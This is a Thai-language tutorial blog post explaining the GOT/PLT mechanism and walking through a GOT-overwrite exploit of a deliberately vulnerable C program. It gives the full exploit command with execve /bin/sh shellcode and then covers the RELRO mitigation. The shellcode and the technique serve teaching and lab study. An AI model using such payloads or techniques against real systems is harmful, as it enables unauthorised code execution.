Sunday, April 10, 2011

Overwriting GOT

Global Offset Table (GOT) คือตารางที่ใช้เก็บค่า address ของ function ต่างๆ ที่อยู่ใน Dynamic Shared Object (.so) เพื่อให้โปรแกรมหลักสามารถเรียกใช้งาน function เหล่านี้ได้

ถ้าเราลองดู assembly ของโปรแกรมด้วย gdb (ดูจากหัวข้อที่ผ่านมาก่อนได้) จะเห็นว่า function ที่เราเรียกใช้ใน libc จะมี @plt ต่อท้าย (PLT ย่อมาจาก Procedure Linkage Tble) โดย function ที่มี @plt (อยู่ใน .plt section) จะมีหน้าที่ในการหา address ของ function ที่อยู่ใน Shared Object แล้วใส่ค่าใน GOT เพื่อให้การเรียกครั้งต่อไปไม่ต้องมีการ resolve หา address ของ function ที่จะเรียกอีกรอบ (โดยปกติ เริ่มต้นโปรแกรมจะไม่มีการ resolve address ของ function ใน Shared Object จนกว่าจะมีการเรียก (Lazy Binding))

เพื่อให้เข้าใจ เรามาดูตัวอย่างกันเลยดีกว่า (ex_09_1.c)

/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_09_1 ex_09_1.c */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
 char *ptr;
 char buf[512];

 ptr = buf;
 strncpy(buf, argv[1], 516);
 printf("ptr address: %p\n", ptr);
 strncpy(ptr, argv[2], 4);
 printf("ptr address: %p\n", ptr);

 return 0;
}

เมื่อเราลอง disassemble main function จะเห็น strncpy@plt กับ printf@plt ตามนี้

$ gdb -q ./ex_09_1
Reading symbols from /home/worawit/tutz/ch09/ex_09_1...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
   0x080483f4 <+0>:     push   %ebp
...
   0x08048423 <+47>:    mov    %eax,(%esp)
   0x08048426 <+50>:    call   0x8048310 <strncpy@plt>
   0x0804842b <+55>:    mov    $0x8048550,%eax
   0x08048430 <+60>:    mov    0x21c(%esp),%edx
   0x08048437 <+67>:    mov    %edx,0x4(%esp)
   0x0804843b <+71>:    mov    %eax,(%esp)
   0x0804843e <+74>:    call   0x8048330 <printf@plt>
...
   0x0804845e <+106>:   mov    %eax,(%esp)
   0x08048461 <+109>:   call   0x8048310 <strncpy@plt>
   0x08048466 <+114>:   mov    $0x8048550,%eax
   0x0804846b <+119>:   mov    0x21c(%esp),%edx
   0x08048472 <+126>:   mov    %edx,0x4(%esp)
   0x08048476 <+130>:   mov    %eax,(%esp)
   0x08048479 <+133>:   call   0x8048330 <printf@plt>
   0x0804847e <+138>:   mov    $0x0,%eax
   0x08048483 <+143>:   leave
   0x08048484 <+144>:   ret
End of assembler dump.

และเมื่อเราลองรันโปรแกรม แล้วตามไปดูใน strncpy@plt

(gdb) b *0x08048426
Breakpoint 1 at 0x8048426
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1 a b

Breakpoint 1, 0x08048426 in main ()
(gdb) si
0x08048310 in strncpy@plt ()
(gdb) disass
Dump of assembler code for function strncpy@plt:
=> 0x08048310 <+0>:     jmp    *0x8049660
   0x08048316 <+6>:     push   $0x8
   0x0804831b <+11>:    jmp    0x80482f0
End of assembler dump.
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x08048316

จะเห็นว่าใน strncpy@plt จะทำการ jump ไปที่ address ที่เก็บไว้ใน 0x8049660 และเมื่อลองดูค่าที่ address 0x8049660 จะเห็นว่า gdb บอกว่า address นี้เป็นส่วนของ GOT โดยค่าของมันคือ address ของคำสั่ง push $0x8 ที่ค่าของ GOT+16 นั่นเป็น address นี้เพราะว่าโปรแกรมยังไม่ได้ทำการ resolve หา address ของ strncpy function ใน libc ซึ่งจะทำการ jump ไปใน code ที่ทำการ resolve address ของ strncpy function

และเมื่อดูใน printf@plt

(gdb) x/3i 0x8048330
   0x8048330 <printf@plt>:      jmp    *0x8049668
   0x8048336 <printf@plt+6>:    push   $0x18
   0x804833b <printf@plt+11>:   jmp    0x80482f0
(gdb) x/x 0x8049668
0x8049668 <_GLOBAL_OFFSET_TABLE_+24>:   0x08048336

จะเห็นว่า printf@plt นั่นจะเหมือน strncpy@plt โดยจะต่างกันที่ address และค่าที่ push โดยค่าที่ push จะเป็นค่าที่ใช้บอกว่าจะให้โปรแกรม resovle address ของ function อะไร

และเมื่อเราปล่อยให้โปรแกรม resolve address ของ strncpy โดยเราจะ set breakpoint ที่ strncpy ใน libc และดูค่าใน GOT+16 อีกครั้งหนึ่ง

(gdb) b strncpy
Breakpoint 2 at 0x1b2a35
(gdb) c
Continuing.

Breakpoint 2, 0x001b2a35 in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/x 0x8049660
0x8049660 <_GLOBAL_OFFSET_TABLE_+16>:   0x001b2a30
(gdb) x/5i 0x001b2a30
   0x1b2a30 <strncpy>:  push   %ebp
   0x1b2a31 <strncpy+1>:        mov    %esp,%ebp
   0x1b2a33 <strncpy+3>:        push   %edi
   0x1b2a34 <strncpy+4>:        push   %esi
=> 0x1b2a35 <strncpy+5>:        sub    $0x4,%esp

จะเห็นว่าโปรแกรม ได้ทำการแก้ไขค่าของ GOT+16 ซึ่งเป็น entry สำหรับ strncpy เป็น address ของ strncpy ใน libc ทำให้การเรียกครั้งต่อไป โปรแกรมจะทำการ jump มาที่ address ของ strncpy (0x001b2a30) ตรงๆ

ถ้าใครยังไม่ค่อยเข้าใจ ลองดูรูปขั้นตอนการ resolve address ของ function และเขียนค่าใน GOT (หวังว่าจะทำให้เข้าใจ)

จากที่กล่าวมาทั้งหมด จะเห็นว่า GOT จะต้องเป็นส่วนที่ read/write เนื่องด้วยโปรแกรมต้องมีการแก้ไขข้อมูลของ GOT และ GOT เป็นที่เก็บข้อมูล address ของ function ต่างๆ ใน library ที่เราจะเรียกใช้ ดังนั้นถ้าเราสามารถเขียนทับค่าใน GOT ได้ และเมื่อโปรแกรมเรียกใช้ function ที่เราแก้ไข address ใน GOT เราจะสามารถควบคุม eip ได้

หลังจากทำความเข้าใจกับ GOT มาพอสมควร เรามาเขียน exploit กัน โดยจากโปรแกรมที่ให้ ปัญหาคือ strncpy แรกจะ copy ข้อมูลไปทับ ptr ทำให้เรากำหนดค่า ptr ได้ และเมื่อรวมกับ strncpy ที่สอง ทำให้เราสามารถเขียนข้อมูลทับที่ไหนก็ได้ 4 bytes โดยในหัวข้อนี้ ผมจะแสดงวิธีการเขียนทับ address ใน GOT

จากโปรแกรมที่ให้ เราสามารถเขียนข้อมูลใน GOT ที่ strncpy ที่สอง และหลังจากนั้นจะมีการเรียก printf function ดังนั้นเป้าหมายที่ผมจะเขียนทับคือ GOT entry ที่เก็บ address ของ printf ไว้ โดยวิธีการหา address ของ GOT entry ต่างๆ สามารถใช้คำสั่ง objdump ดังนี้

$ objdump -R ./ex_09_1

./ex_09_1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
0804964c R_386_GLOB_DAT    __gmon_start__
0804965c R_386_JUMP_SLOT   __gmon_start__
08049660 R_386_JUMP_SLOT   strncpy
08049664 R_386_JUMP_SLOT   __libc_start_main
08049668 R_386_JUMP_SLOT   printf

ดังนั้น address ที่เราจะเขียน address ของ shellcode ของเราคือ 0x08049668 หลังจากนั้นสิ่งที่เราต้องการคือ address ของ shellcode

$ ulimit -c unlimited
$ ./ex_09_1 `perl -e 'print "A"x516'` `perl -e 'print "B"x4'`
ptr address: 0x41414141
Segmentation fault (core dumped)
$ gdb ./ex_09_1 core
...
Program terminated with signal 11, Segmentation fault.
#0  0x001b2a5c in strncpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/12x $esp
0xbffff2fc:     0x41414141      0x00000000      0x00000000      0xbffff538
0xbffff30c:     0x08048466      0x41414141      0xbffff912      0x00000004
0xbffff31c:     0xbffff364      0xbffff370      0x00000070      0x0012c524
(gdb)
0xbffff32c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff33c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff34c:     0x41414141      0x41414141      0x41414141      0x41414141

ได้ address ของ shellcode จะอยู่ที่ 0xbffff32c ดังนั้น exploit ของโปรแกรมนี้ จะเป็น

$ ./ex_09_1 `perl -e 'print "\x90"x491 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80" . "\x68\x96\x04\x08"'` `perl -e 'print "\x2c\xf3\xff\xbf"'`
ptr address: 0x8049668
$ ps -f f
UID        PID  PPID  C STIME TTY      STAT   TIME CMD
worawit   1581  1580  0 20:08 pts/0    Ss     0:00 -bash
worawit   1718  1581  0 20:11 pts/0    S      0:00  \_ [sh]
worawit   1720  1718  0 20:11 pts/0    R+     0:00      \_ ps -f f

เทคนิคนี้ ปัจจุบันได้มี option ที่ใช้ป้องกัน คือให้โปรแกรมทำการ resovle address ทั้งหมดตั้งแต่โปรแกรมเริ่ม และ remapped GOT ให้เป็น read-only โดยใช้ gcc option "-z relro -z now" ดังต่อไปนี้

$ gcc -fno-pie -fno-stack-protector -z relro -z now -z execstack -o ex_09_1_2 ex_09_1.c
$ objdump -R ./ex_09_1_2

./ex_09_1_2:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
08049fec R_386_JUMP_SLOT   __gmon_start__
08049ff0 R_386_JUMP_SLOT   strncpy
08049ff4 R_386_JUMP_SLOT   __libc_start_main
08049ff8 R_386_JUMP_SLOT   printf
$ gdb ./ex_09_1_2
...
(gdb) b main
Breakpoint 1 at 0x8048417
(gdb) r
Starting program: /home/worawit/tutz/ch09/ex_09_1_2

Breakpoint 1, 0x08048417 in main ()
(gdb) info proc
process 1297
cmdline = '/home/worawit/tutz/ch09/ex_09_1_2'
cwd = '/home/worawit/tutz/ch09'
exe = '/home/worawit/tutz/ch09/ex_09_1_2'
(gdb) shell grep ex_09 /proc/1297/maps
08048000-08049000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2
08049000-0804a000 r-xp 00000000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2  # จะเห็นว่า GOT อยู่ใน section นี้
0804a000-0804b000 rwxp 00001000 08:01 269711     /home/worawit/tutz/ch09/ex_09_1_2

Reference:
- http://www.iecc.com/linker/linker10.html
- http://tk-blog.blogspot.com/2009/02/relro-not-so-well-known-memory.html

No comments:

Post a Comment